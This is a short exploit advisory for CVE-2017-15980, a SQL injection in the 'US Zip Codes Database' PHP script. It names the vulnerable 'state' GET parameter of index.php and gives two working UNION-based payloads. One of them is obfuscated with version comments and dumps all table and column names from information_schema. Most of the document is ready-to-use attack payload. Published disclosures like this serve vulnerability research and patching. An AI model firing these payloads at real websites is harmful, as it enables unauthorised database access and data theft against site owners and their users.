US Zip Codes Database SQL Injection

`# # # # #   
# Exploit Title: US Zip Codes Database Script - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://rowindex.com/  
# Software Link: https://www.codester.com/items/4898/us-zip-codes-database-php-script  
# Demo: http://rowindex.com/demo/  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-15980  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/index.php?action=lookup-county&state=[SQL]  
#   
# 11'+/*!08888UniOn*/+/*!08888Select*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-  
#   
# Parameter: state (GET)  
# Type: UNION query  
# Title: Generic UNION query (NULL) - 1 column  
# Payload: action=lookup-county&state=' UNION ALL SELECT CONCAT(0x716a717071,0x766a414e736e79524546725053474f72754d764a4772697a65666a7551464b46435141414d4e616c,0x7170707071)-- hvbM  
#   
# Etc..  
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